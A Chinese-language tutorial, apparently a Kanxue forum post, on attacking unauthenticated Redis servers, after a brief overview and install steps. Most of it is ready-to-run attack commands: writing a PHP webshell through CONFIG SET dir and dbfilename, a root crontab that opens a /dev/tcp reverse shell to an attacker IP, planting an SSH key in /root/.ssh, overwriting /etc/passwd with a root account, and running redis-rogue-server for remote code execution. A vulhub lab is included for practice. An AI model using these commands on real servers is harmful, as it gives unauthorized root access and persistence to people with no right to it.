一
(1)完全基于内存操作
(2)C语言实现,优化过的数据结构,性能高
(3)单线程,无切换上下文的成本
(4)异步非阻塞IO(多路复用IO)
二
环境搭建
docker search redis
docker pull redis
docker run -itd run -p 6379:6379 -d redis
wget http://download.redis.io/releases/redis-3.2.11.tar.gz
tar -zxvf redis-3.2.11.tar.gz
vim redis.conf
make
cp ./redis-server /usr/local/bin/
apt remove redis-server
三
https://github.com/microsoftarchive/redis/releases
wget http://download.redis.io/redis-stable.tar.gz
tar -xzvf redis-stable.tar.gz
cd redis-stable
make
cp src/redis-cli /usr/local/bin/
brew tap ringohub/redis-cli
brew install redis-cli
四
redis-cli -h ip //无需密码登录
redis-cli -h host -p port -a password //使用redis密码登入redis服务
info
Config get dir
Config set dir
Set abc "\n\n<?php phpinfo();?>" //写入,这里还有一种写法:set abc”\n\n<xxx>”nx,末尾的nx代表仅当键abc不存在的时候,才会创建。这样可以防止误更新到业务在用的键名,引发业务的异常。
Config set dbfilename test.php
Config set dir /var/spool/cron
set abcd "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.0.13/1234 0>&1\n\n"
Config set filename root
Save
这个方法只能在Centos上使用,Ubuntu上是行不通的,原因如下:
因为默认redis写文件后是644的权限,但ubuntu要求执行定时任务文件/var/spool/cron/crontabs/<username>权限必须是600也就是-rw———-才会执行,否则会报错(root) INSECURE MODE (mode 0600 expected),而Centos的定时任务文件/var/spool/cron/<username>权限644也能执行
vi /etc/ssh/sshd_config
RSAAuthentication yes # 开启密钥登入的认证方式
PubkeyAuthentication yes # 开启密钥登入的认证方式
PermitRootLogin yes # 此处请留意 root 用户能否通过 SSH 登录,默认为yes
# 可以正常用密钥登录了,再把这里改为no
PasswordAuthentication yes #当我们完成全部设置并以密钥方式登录成功后,可以禁用密码登录。这里我们先不禁用,先允许密码登陆
systemctl restart sshd
ssh-keygen -t rsa
Config set dir /root/.ssh/
(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > /root/.ssh/key.txt
cat /root/.ssh/key.txt | redis-cli -h 192.168.0.148 -x set xxx
# Mac
(echo -e "\n\n"; cat ./id_rsa.pub; echo -e "\n\n") > ./key.txt
cat /root/.ssh/key.txt | redis-cli -h 192.168.0.148 -x set xxx
docker pull ju5ton1y/redis:latest
docker run -itd -p 6379:6379 -p 6378:22 ju5ton1y/redis:latest
# 启动之后需要进入容器
/etc/init.d/ssh restart
python -c 'import crypt; print crypt.crypt("YourNewPasswd%1024","$6$my0salt0")'
SET abcd "\n\n root:$6$my0salt0$yCCi..OsWo8n5MaBFytGaZ0qTcHErSaoyvAVvMXFEnwgMOtpm6sYbtwUR4I.GA7Kt0X0KruYifS6c9.FkDN53.:0:0:root:/root:/bin/bash\nsshd:x:108:65534::/var/run/sshd:/usr/sbin/nologin\n\n"
config set dbfilename passwd
save
git clone https://github.com/vulhub/vulhub.git
cd redis/4-unacc/
docker-compose up -d
git clone https://github.com/n0b0dyCN/redis-rogue-server.git
python3 redis-rogue-server.py --rhost 192.168.0.13 --lhost 192.168.0.139
# rhost是redis,lhost是kali
看雪ID:UzJu
https://bbs.pediy.com/user-home-809626.htm
# 往期推荐
2.Windows内核模糊测试之IoControl Fuzz
球分享
球点赞
球在看
点击“阅读原文”,了解更多!